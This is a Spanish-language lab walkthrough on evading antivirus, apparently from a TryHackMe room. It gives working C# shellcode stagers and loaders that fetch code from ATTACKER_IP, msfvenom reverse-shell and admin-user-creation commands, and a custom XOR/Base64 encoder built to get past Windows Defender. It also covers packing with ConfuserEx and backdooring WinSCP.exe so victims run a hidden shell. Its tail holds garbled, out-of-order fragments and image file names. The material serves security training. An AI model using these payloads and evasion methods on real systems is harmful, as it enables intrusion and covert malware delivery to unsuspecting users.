Al crear cargas útiles con msfvenom o usarlas directamente en Metasploit , puede optar por utilizar cargas útiles por etapas o sin etapas. Como ejemplo, si desea generar un shell TCP inverso, encontrará que existen dos cargas útiles para ese propósito con nombres ligeramente diferentes (observe el_ versus /después shell):

Carga útil

Tipo

windows/x64/shell_reverse_tcp

Payoads sin etapas

windows/x64/shell/reverse_tcp

Payload por etapas

Generalmente encontrará que los mismos patrones de nombres se aplican a otros tipos de caparazones. Para usar un Meterpreter sin etapas, por ejemplo, usaríamos windows/x64/meterpreter_reverse_tcp, en lugar de windows/x64/meterpreter/reverse_tcp, que funciona como su contraparte en etapas.

Creando tu propio escenario

using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Program {
  //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc 
  [DllImport("kernel32")]
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

  //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
  [DllImport("kernel32")]
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

  //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
  [DllImport("kernel32")]
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

  private static UInt32 MEM_COMMIT = 0x1000;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

  public static void Main()
  {
    string url = "https://ATTACKER_IP/shellcode.bin";
    Stager(url);
  }

  public static void Stager(string url)
  {

    WebClient wc = new WebClient();
    ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;

    byte[] shellcode = wc.DownloadData(url);

    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);

    IntPtr threadHandle = IntPtr.Zero;
    UInt32 threadId = 0;
    IntPtr parameter = IntPtr.Zero;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

    WaitForSingleObject(threadHandle, 0xFFFFFFFF);

  }
}

El código puede parecer intimidante al principio, pero es relativamente sencillo. Analicemos qué hace paso a paso.

La primera parte del código importará algunas funciones API de Windows a través de P/Invoke. Las funciones que necesitamos son las tres siguienteskernel32.dll :

Función WinAPI

Descripción

Nos permite reservar algo de memoria para que la utilice nuestro código shell.

Crea un hilo como parte del proceso actual.

Se utiliza para la sincronización de subprocesos. Nos permite esperar a que finalice un hilo antes de continuar.

La parte del código encargada de importar estas funciones es la siguiente:

//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc 
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

La parte más importante de nuestro código estará en la Stager()función, donde se implementará la lógica del escenario. La función Stager recibirá una URL desde donde se descargará el código shell a ejecutar.

La primera parte de la Stager()función creará un nuevo WebClient()objeto que nos permitirá descargar el código shell mediante solicitudes web. Antes de realizar la solicitud real, sobrescribiremos el ServerCertificateValidationCallbackmétodo encargado de validar los certificados SSL cuando usemos solicitudes HTTPS para que el WebClient no se queje de certificados autofirmados o no válidos, que usaremos en el servidor web que aloja las cargas útiles. Después de eso, llamaremos al DownloadData()método para descargar el código shell desde la URL dada y lo almacenaremos en la shellcodevariable:

WebClient wc = new WebClient();
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;

byte[] shellcode = wc.DownloadData(url);

Una vez que nuestro código shell esté descargado y disponible en la shellcodevariable, necesitaremos copiarlo en la memoria ejecutable antes de ejecutarlo. Solemos VirtualAlloc()solicitar un bloque de memoria al sistema operativo. Observe que solicitamos suficiente memoria para asignar shellcode.Lengthbytes y configuramos el PAGE_EXECUTE_READWRITEindicador, haciendo que la memoria asignada sea ejecutable, legible y escribible. Una vez que nuestro bloque de memoria ejecutable está reservado y asignado a la codeAddrvariable, usamos Marshal.Copy()para copiar el contenido de la shellcodevariable en la codeAddrvariable.

UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);

Ahora que tenemos una copia del código shell asignada en un bloque de memoria ejecutable, usamos la CreateThread()función para generar un nuevo hilo en el proceso actual que ejecutará nuestro código shell. El tercer parámetro pasado a CreateThread apunta a codeAddr, donde se almacena nuestro código shell, de modo que cuando se inicia el hilo, ejecuta el contenido de nuestro código shell como si fuera una función normal. El quinto parámetro se establece en 0, lo que significa que el hilo comenzará inmediatamente.

Una vez que se haya creado el hilo, llamaremos a la WaitForSingleObject() función para indicarle a nuestro programa actual que debe esperar a que finalice la ejecución del hilo antes de continuar. Esto evita que nuestro programa se cierre antes de que el subproceso Shellcode tenga la oportunidad de ejecutarse:

IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

WaitForSingleObject(threadHandle, 0xFFFFFFFF);

Para compilar el código, sugerimos copiarlo en una máquina con Windows como un archivo llamado staged-payload.cs y compilarlo con el siguiente comando:

PS C:\> csc staged-payload.cs

Usando nuestro stager para ejecutar un shell inverso

Una vez compilada nuestra carga útil, necesitaremos configurar un servidor web para alojar el código shell final. Recuerde que nuestro stager se conectará a este servidor para recuperar el código shell y ejecutarlo en la memoria de la máquina víctima. Comencemos generando un código shell (el nombre del archivo debe coincidir con la URL en nuestro escenario):

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'

Tenga en cuenta que estamos usando el formato sin formato para nuestro código shell, ya que el stager cargará directamente todo lo que descargue en la memoria.

Ahora que tenemos un código shell, configuremos un servidor HTTPS simple. Primero, necesitaremos crear un certificado autofirmado con el siguiente comando:

user@AttackBox$ openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes

Se le pedirá cierta información, pero no dude en presionar Intro para obtener cualquier información solicitada, ya que no necesitamos que el certificado SSL sea válido. Una vez que tengamos un certificado SSL, podemos generar un servidor HTTPS simple usando python3 con el siguiente comando:

user@AttackBox$ python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"

Con todo esto listo, ahora podemos ejecutar nuestra carga útil de stager. El stager debe conectarse al servidor HTTPS y recuperar el archivo shellcode.bin para cargarlo en la memoria y ejecutarlo en la máquina víctima. Recuerde configurar un detector nc para recibir el shell inverso en el mismo puerto especificado cuando ejecuta msfvenom:

user@AttackBox$ nc -lvp 7474

Introduction to Encoding and Encryption

¿Qué es la codificación?

La codificación es el proceso de cambiar los datos de su estado original a un formato específico según el algoritmo o tipo de codificación. Se puede aplicar a muchos tipos de datos, como vídeos, HTML, URL y archivos binarios (EXE, imágenes, etc.).

La codificación es un concepto importante que se utiliza comúnmente para diversos fines, que incluyen, entre otros:

  • Compilación y ejecución del programa.

  • Almacenamiento y transmisión de datos.

  • Procesamiento de datos como conversión de archivos.

De manera similar, cuando se trata de técnicas de evasión AV , la codificación también se utiliza para ocultar cadenas de código shell dentro de un binario. Sin embargo, la codificación no es suficiente para fines de evasión. Hoy en día, el software antivirus es más inteligente y puede analizar un binario y, una vez que se encuentra una cadena codificada, se decodifica para verificar la forma original del texto.

También puede utilizar dos o más algoritmos de codificación en conjunto para dificultar que el AV descubra el contenido oculto. La siguiente figura muestra que convertimos la cadena "THM" a una representación hexadecimal y luego la codificamos usando Base64. En este caso, debe asegurarse de que su cuentagotas ahora maneje dicha codificación para restaurar la cadena a su estado original.

¿Qué es el cifrado?

El cifrado es uno de los elementos esenciales de la seguridad de la información y los datos que se centra en prevenir el acceso no autorizado y la manipulación de los datos. El proceso de cifrado implica convertir texto sin formato (contenido no cifrado) en una versión cifrada llamada texto cifrado. El texto cifrado no se puede leer ni descifrar sin conocer el algoritmo utilizado en el cifrado y la clave.

Al igual que la codificación, las técnicas de cifrado se utilizan para diversos fines, como almacenar y transmitir datos de forma segura, así como el cifrado de un extremo a otro. El cifrado se puede utilizar de dos formas: teniendo una clave compartida entre dos partes o utilizando claves públicas y privadas.

¿Por qué necesitamos saber sobre codificación y cifrado?

Los proveedores de AV implementan su software AV para incluir en la lista de bloqueo la mayoría de las herramientas públicas (como Metasploit y otras) utilizando técnicas de detección estáticas o dinámicas. Por lo tanto, sin modificar el código shell generado por estas herramientas públicas, la tasa de detección de su cuentagotas es alta.

La codificación y el cifrado se pueden utilizar en técnicas de evasión AV en las que codificamos y/o ciframos el código shell utilizado en un cuentagotas para ocultarlo del software AV durante el tiempo de ejecución. Además, las dos técnicas se pueden utilizar no sólo para ocultar el código shell sino también funciones, variables, etc. En esta sala, nos centramos principalmente en cifrar el código shell para evadir Windows Defender.

Shellcode Encoding and Encryption

Codificar usando MSFVenom

Las herramientas públicas como Metasploit proporcionan funciones de codificación y cifrado. Sin embargo, los proveedores de AV son conscientes de la forma en que estas herramientas construyen sus cargas útiles y toman medidas para detectarlas. Si intenta utilizar estas funciones listas para usar, es probable que su carga útil se detecte tan pronto como el archivo toque el disco de la víctima.

Generemos una carga útil simple con este método para demostrar ese punto. En primer lugar, puede enumerar todos los codificadores disponibles para msfvenom con el siguiente comando:

Listado de codificadores dentro del marco Metasploit

user@AttackBox$ msfvenom --list encoders | grep excellent
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder

Podemos indicar que queremos usar el shikata_ga_naicodificador con el -einterruptor (codificador) y luego especificar que queremos codificar la carga útil tres veces con el -iinterruptor (iteraciones):

Codificación utilizando Metasploit Framework (Shikata_ga_nai)

user@AttackBox$ msfvenom -a x86 --platform Windows LHOST=ATTACKER_IP LPORT=443 -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f csharp
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai succeeded with size 395 (iteration=1)
x86/shikata_ga_nai succeeded with size 422 (iteration=2)
x86/shikata_ga_nai chosen with final size 422
Payload size: 422 bytes
Final size of csharp file: 2170 bytes

Si intentamos cargar nuestra carga útil recién generada en nuestra máquina de prueba, el AV la marcará instantáneamente antes de que tengamos la oportunidad de ejecutarla:

Si la codificación no funciona, siempre podemos intentar cifrar la carga útil. Intuitivamente, esperaríamos que esto tuviera un índice de éxito más alto, ya que descifrar la carga útil debería resultar una tarea más difícil para el AV . Intentemos eso ahora.

Cifrado usando MSFVenom

Puede generar fácilmente cargas útiles cifradas utilizando msfvenom. Sin embargo, las opciones para algoritmos de cifrado son un poco escasas. Para enumerar los algoritmos de cifrado disponibles, puede utilizar el siguiente comando:

Listado de módulos de cifrado dentro de Metasploit Framework

user@AttackBox$ msfvenom --list encrypt
Framework Encryption Formats [--encrypt <value>]
================================================

    Name
    ----
    aes256
    base64
    rc4
    xor

Construyamos una carga útil cifrada XOR . Para este tipo de algoritmo, deberá especificar una clave. El comando quedaría de la siguiente manera:

Xoring Shellcode utilizando el marco Metasploit

user@AttackBox$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=7788 -f exe --encrypt xor --encrypt-key "MyZekr3tKey***" -o xored-revshell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: xored-revshell.exe

Una vez más, si cargamos el shell resultante en THM Antivirus Check! página en , el AVhttp://MACHINE_IP/ aún la marcará . La razón sigue siendo que los proveedores de antivirus han invertido mucho tiempo en garantizar que se detecten cargas útiles simples de msfvenom.

Crear una carga útil personalizada

La mejor manera de superar esto es utilizar nuestros propios esquemas de codificación personalizados para que el AV no sepa qué hacer para analizar nuestra carga útil. Tenga en cuenta que no tiene que hacer nada demasiado complejo, siempre que sea lo suficientemente confuso para que el AV lo analice. Para esta tarea, tomaremos un shell inverso simple generado por msfvenom y usaremos una combinación de XOR y Base64 para evitar Defender.

Comencemos generando un shell inverso con msfvenom en formato CSharp:

Generar un formato de código shell CSharp

user@AttackBox$ msfvenom LHOST=ATTACKER_IP LPORT=443 -p windows/x64/shell_reverse_tcp -f csharp

El codificador

Antes de construir nuestra carga útil real, crearemos un programa que tomará el código shell generado por msfvenom y lo codificará de la forma que queramos. En este caso, primero aplicaremos XOR a la carga útil con una clave personalizada y luego la codificaremos usando base64. Aquí está el código completo para el codificador (también puede encontrar este código en su máquina Windows en C:\Tools\CS Files\Encryptor.cs):

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Encrypter
{
    internal class Program
    {
        private static byte[] xor(byte[] shell, byte[] KeyBytes)
        {
            for (int i = 0; i < shell.Length; i++)
            {
                shell[i] ^= KeyBytes[i % KeyBytes.Length];
            }
            return shell;
        }
        static void Main(string[] args)
        {
            //XOR Key - It has to be the same in the Droppr for Decrypting
            string key = "THMK3y123!";

            //Convert Key into bytes
            byte[] keyBytes = Encoding.ASCII.GetBytes(key);

            //Original Shellcode here (csharp format)
            byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 };

            //XORing byte by byte and saving into a new array of bytes
            byte[] encoded = xor(buf, keyBytes);
            Console.WriteLine(Convert.ToBase64String(encoded));        
        }
    }
}

El código es bastante sencillo y generará una carga útil codificada que integraremos en la carga útil final. Recuerde reemplazar la bufvariable con el código shell que generó con msfvenom.

Para compilar y ejecutar el codificador, podemos usar los siguientes comandos en la máquina Windows:

Compilando y ejecutando nuestro codificador CSharp personalizado

C:\> csc.exe Encrypter.cs
C:\> .\Encrypter.exe
qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=

Carga útil de autodecodificación

Dado que tenemos una carga útil codificada, debemos ajustar nuestro código para que decodifique el código shell antes de ejecutarlo. Para hacer coincidir el codificador, decodificaremos todo en el orden inverso al que lo codificamos, por lo que comenzamos decodificando el contenido base64 y luego continuamos aplicando XOR al resultado con la misma clave que usamos en el codificador. Aquí está el código de carga útil completo (también puede obtenerlo en su máquina Windows en C:\Tools\CS Files\EncStageless.cs):

using System;
using System.Net;
using System.Text;
using System.Runtime.InteropServices;

public class Program {
  [DllImport("kernel32")]
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

  [DllImport("kernel32")]
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

  [DllImport("kernel32")]
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

  private static UInt32 MEM_COMMIT = 0x1000;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
  
  private static byte[] xor(byte[] shell, byte[] KeyBytes)
        {
            for (int i = 0; i < shell.Length; i++)
            {
                shell[i] ^= KeyBytes[i % KeyBytes.Length];
            }
            return shell;
        }
  public static void Main()
  {

    string dataBS64 = "qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=";
    byte[] data = Convert.FromBase64String(dataBS64);

    string key = "THMK3y123!";
    //Convert Key into bytes
    byte[] keyBytes = Encoding.ASCII.GetBytes(key);

    byte[] encoded = xor(data, keyBytes);

    UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);

    IntPtr threadHandle = IntPtr.Zero;
    UInt32 threadId = 0;
    IntPtr parameter = IntPtr.Zero;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

    WaitForSingleObject(threadHandle, 0xFFFFFFFF);

  }
}

Tenga en cuenta que simplemente hemos combinado un par de técnicas realmente simples que se detectaron cuando se usaron por separado. Aun así, esta vez el AV no se quejará de la carga útil, ya que la combinación de ambos métodos no es algo que pueda analizar directamente.

Compilemos nuestra carga útil con el siguiente comando en la máquina Windows:

C:\> csc.exe EncStageless.cs

Antes de ejecutar nuestra carga útil, configuremos un ncoyente. Después de copiar y ejecutar nuestra carga útil en la máquina víctima, deberíamos recuperar la conexión como se esperaba:

Configurar nc Listener

user@AttackBox$ nc -lvp 443
Listening on [0.0.0.0] (family 0, port 443)
Connection from ip-10-10-139-83.eu-west-1.compute.internal 49817 received!
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\System32>

Como puede ver, a veces basta con realizar ajustes simples. La mayoría de las veces, cualquier método específico que encuentre en línea probablemente no funcionará de inmediato, ya que es posible que ya existan firmas de detección para ellos. Sin embargo, usar un poco de imaginación para personalizar cualquier método podría resultar suficiente para lograr un bypass exitoso.

Packers

Otro método para anular la detección AV basada en disco es utilizar un empaquetador. Los empaquetadores son piezas de software que toman un programa como entrada y lo transforman para que su estructura se vea diferente, pero su funcionalidad sigue siendo exactamente la misma. Los empacadores hacen esto con dos objetivos principales en mente:

  • Comprime el programa para que ocupe menos espacio.

  • Proteger el programa de la ingeniería inversa en general.

Los desarrolladores de software suelen utilizar los empaquetadores que desean proteger su software contra ingeniería inversa o craqueo. Logran cierto nivel de protección implementando una combinación de transformaciones que incluyen comprimir, cifrar, agregar protecciones de depuración y muchas otras. Como ya habrás adivinado, los empaquetadores también se utilizan comúnmente para ocultar malware sin mucho esfuerzo.

Existe una gran cantidad de empaquetadores, incluidos UPX, MPRESS, Themida y muchos otros.

Empacar una aplicación

Si bien cada empacador opera de manera diferente, veamos un ejemplo básico de lo que haría un empacador simple.

Cuando se empaqueta una aplicación, se transformará de alguna manera mediante una función de empaquetado . La función de empaquetado debe poder ofuscar y transformar el código original de la aplicación de una manera que pueda revertirse razonablemente mediante una función de desempaquetado para que se conserve la funcionalidad original de la aplicación. Si bien a veces el empaquetador puede agregar algún código (para dificultar la depuración de la aplicación, por ejemplo), generalmente querrá poder recuperar el código original que escribió al ejecutarla.

La versión empaquetada de la aplicación contendrá el código de la aplicación empaquetada. Dado que este nuevo código empaquetado está ofuscado, la aplicación debe poder descomprimir el código original. Para este fin, el empaquetador incrustará un código auxiliar que contiene un desempaquetador y redirigirá el punto de entrada principal del ejecutable a él.

Cuando se ejecute su aplicación empaquetada, sucederá lo siguiente:

  1. El desempaquetador se ejecuta primero, ya que es el punto de entrada del ejecutable.

  2. El desempaquetador lee el código de la aplicación empaquetada.

  3. El desempaquetador escribirá el código original descomprimido en algún lugar de la memoria y dirigirá el flujo de ejecución de la aplicación hacia él.

Empacadores y AV

A estas alturas, podemos ver cómo los empaquetadores ayudan a evitar las soluciones AV . Digamos que creó un ejecutable de shell inverso, pero el antivirus lo detecta como malicioso porque coincide con una firma conocida. En este caso, el uso de un empaquetador transformará el ejecutable del shell inverso para que no coincida con ninguna firma conocida mientras esté en el disco. Como resultado, debería poder distribuir su carga útil al disco de cualquier máquina sin muchos problemas.

Sin embargo, las soluciones AV aún podrían detectar su aplicación empaquetada por un par de razones:

  • Si bien su código original puede transformarse en algo irreconocible, recuerde que el ejecutable empaquetado contiene un código auxiliar con el código del desempaquetador. Si el desempaquetador tiene una firma conocida, las soluciones AV aún pueden marcar cualquier ejecutable empaquetado basándose únicamente en el código auxiliar del desempaquetador.

  • En algún momento, su aplicación descomprimirá el código original en la memoria para poder ejecutarlo. Si la solución AV que está intentando eludir puede realizar análisis en la memoria, es posible que aún lo detecten después de descomprimir su código.

Empaquetando nuestro código shell

Comencemos con un código shell básico de C#. También puede encontrar este código en su máquina Windows en C:\Tools\CS Files\UnEncStagelessPayload.cs:

using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Program {
  [DllImport("kernel32")]
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

  [DllImport("kernel32")]
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

  [DllImport("kernel32")]
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

  private static UInt32 MEM_COMMIT = 0x1000;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

  public static void Main()
  {
    byte[] shellcode = new byte[] {0xfc,0x48,0x83,...,0xda,0xff,0xd5 };


    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);

    IntPtr threadHandle = IntPtr.Zero;
    UInt32 threadId = 0;
    IntPtr parameter = IntPtr.Zero;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

    WaitForSingleObject(threadHandle, 0xFFFFFFFF);

  }
}

Esta carga útil toma un código shell generado por msfvenom y lo ejecuta en un hilo separado. Para que esto funcione, necesitarás generar un nuevo código shell y ponerlo en la shellcodevariable del código:

C:\> msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7478 -f csharp

Luego puede compilar su carga útil en la máquina Windows usando el siguiente comando:

C:\> csc UnEncStagelessPayload.cs

Una vez que tenga un ejecutable que funcione, puede intentar cargarlo en THM Antivirus Check. página (enlace en el escritorio). El AV debe señalarlo inmediatamente. Usemos un empaquetador en la misma carga útil y veamos qué sucede.

ConfuserEx le pedirá que indique las carpetas en las que funcionará. Asegúrese de seleccionar su escritorio como directorio base, como se muestra en la imagen a continuación. Una vez configurado el directorio base, arrastre y suelte el ejecutable que desea empaquetar en la interfaz y debería terminar con lo siguiente:

Vayamos a la pestaña de configuración y seleccionemos nuestra carga útil. Una vez seleccionado, presione el botón "+" para agregar configuraciones a su carga útil. Esto debería crear una regla denominada "verdadero". Asegúrese de habilitar la compresión también:

Ahora editaremos la regla "verdadera" y la estableceremos en el valor preestablecido Máximo:

Finalmente, nos dirigiremos al menú “¡Proteger!” pestaña y presione "Proteger":

¡La nueva carga útil debería estar lista y, con suerte, no activará ninguna alarma cuando se cargue en THM Antivirus Checker! (atajo disponible en su escritorio). De hecho, si ejecuta su carga útil y configura unnc oyente, debería poder recuperar un shell:

user@attackbox$ nc -lvp 7478

Hasta ahora, todo bien, pero ¿recuerdas que hablamos de que los AV realizan escaneos en memoria? Si intenta ejecutar un comando en su shell inverso, el antivirus detectará su shell y lo eliminará. Esto se debe a que Windows Defender conectará ciertas llamadas a la API de Windows y realizará un escaneo en memoria cada vez que se utilicen dichas llamadas a la API. En el caso de cualquier shell generado con msfvenom, se invocará y detectará CreateProcess().

Entonces, ¿qué hacemos ahora?

Si bien derrotar el escaneo en memoria está fuera del alcance de esta sala, hay un par de cosas simples que puede hacer para evitar la detección:

  • Sólo espera un poco . Intente generar el shell inverso nuevamente y espere unos 5 minutos antes de enviar cualquier comando. Verás que el AV ya no se quejará. La razón de esto es que escanear la memoria es una operación costosa. Por lo tanto, el AV lo hará durante un tiempo después de que comience el proceso, pero eventualmente se detendrá.

  • Utilice cargas útiles más pequeñas . Cuanto más pequeña sea la carga útil, menos probabilidades habrá de que la detecten. Si usa msfvenom para ejecutar un solo comando en lugar de un shell inverso, al antivirus le resultará más difícil detectarlo. Puedes probarmsfvenom -a x64 -p windows/x64/exec CMD='net user pwnd Password321 /add;net localgroup administrators pwnd /add' -f csharp y ver qué pasa.

Si la detección no es un problema, incluso puedes utilizar un truco sencillo. Desde su shell inverso, ejecute cmd.exenuevamente. El antivirus detectará su carga útil y eliminará el proceso asociado, pero no el nuevo cmd.exe que acaba de generar.

Si bien cada AV se comportará de manera diferente, la mayoría de las veces habrá una forma similar de evitarlos, por lo que vale la pena explorar cualquier comportamiento extraño que notes durante las pruebas.

Binders

Si bien no es un método de derivación antivirus , los carpetas también son importantes al diseñar una carga maliciosa que se distribuirá a los usuarios finales. Una carpeta es un programa que fusiona dos (o más) ejecutables en uno solo. A menudo se utiliza cuando desea distribuir su carga útil oculta dentro de otro programa conocido para engañar a los usuarios haciéndoles creer que están ejecutando un programa diferente.

Si bien cada carpeta puede funcionar de manera ligeramente diferente, básicamente agregarán el código de su shellcode dentro del programa legítimo y lo ejecutarán de alguna manera.

Podría, por ejemplo, cambiar el punto de entrada en el encabezado PE para que su código shell se ejecute justo antes del programa y luego redirigir la ejecución nuevamente al programa legítimo una vez que haya finalizado. De esta manera, cuando el usuario haga clic en el ejecutable resultante, su código shell se ejecutará primero de forma silenciosa y continuará ejecutando el programa normalmente sin que el usuario se dé cuenta.

Unión con msfvenom

Puede colocar fácilmente una carga útil de su preferencia en cualquier archivo .exe con extensión msfvenom. El binario seguirá funcionando como de costumbre pero ejecutará una carga útil adicional de forma silenciosa. El método utilizado por msfvenom inyecta su programa malicioso creando un hilo adicional para él, por lo que es ligeramente diferente de lo mencionado anteriormente pero logra el mismo resultado. Tener un hilo separado es incluso mejor ya que su programa no se bloqueará en caso de que su código shell falle por algún motivo.

Para esta tarea, aplicaremos una puerta trasera al ejecutable WinSCP disponible en C:\Tools\WinSCP.

Para crear un WinSCP.exe con puerta trasera, podemos usar el siguiente comando en nuestra máquina con Windows:

Nota: Metasploit se instala en la máquina Windows para su comodidad, pero puede tardar hasta tres minutos en generar la carga útil (las advertencias producidas se pueden ignorar de forma segura).

C:\> msfvenom -x WinSCP.exe -k -p windows/shell_reverse_tcp lhost=ATTACKER_IP lport=7779 -f exe -o WinSCP-evil.exe

El WinSCP-evil.exe resultante ejecutará una carga útil de meterpreter inversa_tcp sin que el usuario se dé cuenta. Antes que nada, recuerde configurar un ncoyente para recibir el shell inverso. Cuando ejecuta su ejecutable con puerta trasera, debería iniciar un shell inverso mientras continúa ejecutando WinSCP.exe para el usuario:

user@attackbox$ nc -lvp 7779 
Listening on 0.0.0.0 7779 
Connection received on 10.10.183.127 49813 
Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>

Carpetas y AV

Las carpetas no harán mucho para ocultar su carga útil de una solución AV . El simple hecho de unir dos ejecutables sin ningún cambio significa que el ejecutable resultante seguirá activando cualquier firma que hizo la carga útil original.

El uso principal de los carpetas es engañar a los usuarios haciéndoles creer que están ejecutando un ejecutable legítimo en lugar de una carga útil maliciosa.

Al crear una carga útil real, es posible que desee utilizar codificadores, criptadores o empaquetadores para ocultar su código shell de los AV basados ​​en firmas y luego vincularlo a un ejecutable conocido para que el usuario no sepa lo que se está ejecutando.

Siéntase libre de intentar cargar su ejecutable vinculado al sitio web de THM Antivirus Check (enlace disponible en su escritorio) sin ningún tipo de embalaje, y debería obtener una detección del servidor, por lo que este método no será de mucha ayuda al intentar obtiene la bandera del servidor por sí solo.

También puede obtener detalles más detallados sobre PE si consulta el sitio web de Documentos del

La tabla anterior nos dice qué valores necesitamos establecer en diferentes registros del procesador para llamar a las funciones sys_write y sys_exit usando syscalls. Para Linux de 64 bits, el registro rax se utiliza para indicar la función en el kernel que deseamos llamar. Configurar rax en 0x1 hace que el kernel ejecute sys_write, y configurar rax en 0x3c hará que el kernel ejecute sys_exit. Cada una de las dos funciones requiere algunos parámetros para funcionar, que se pueden configurar a través de los registros rdi, rsi y rdx. Puede encontrar una referencia completa de las llamadas al sistema Linux de 64 bits disponibles .

Para crear una carga útil preparada, usaremos una versión ligeramente modificada del código preparador proporcionado por . El código completo de nuestro stager se puede obtener aquí, pero también está disponible en su máquina Windows en C:\Tools\CS Files\StagedPayload.cs:

Para obtener más información sobre el cifrado, le recomendamos que consulte sala Crypto 101.

Usaremos el empaquetador para esta tarea, ya que nuestras cargas útiles están programadas en .NET. Para su comodidad, puede encontrar un acceso directo a él en su escritorio.

Partes internas de Windows
formato Windows PE .
aquí
@mvelazc0
Cifrado:
ConfuserEx
VirtualAlloc()
CreateThread()
WaitForSingleObject()
20240713025211.png
20240713025222.png
20240713025240.png
20240713025312.png
20240713025326.png
20240713025334.png
20240713025341.png
20240713025358.png
20240713025406.png
20240713025429.png
20240713025458.png
20240713025507.png
20240713025520.png
20240713025532.png
20240713025545.png
20240713025556.png
20240713025609.png
20240713025620.png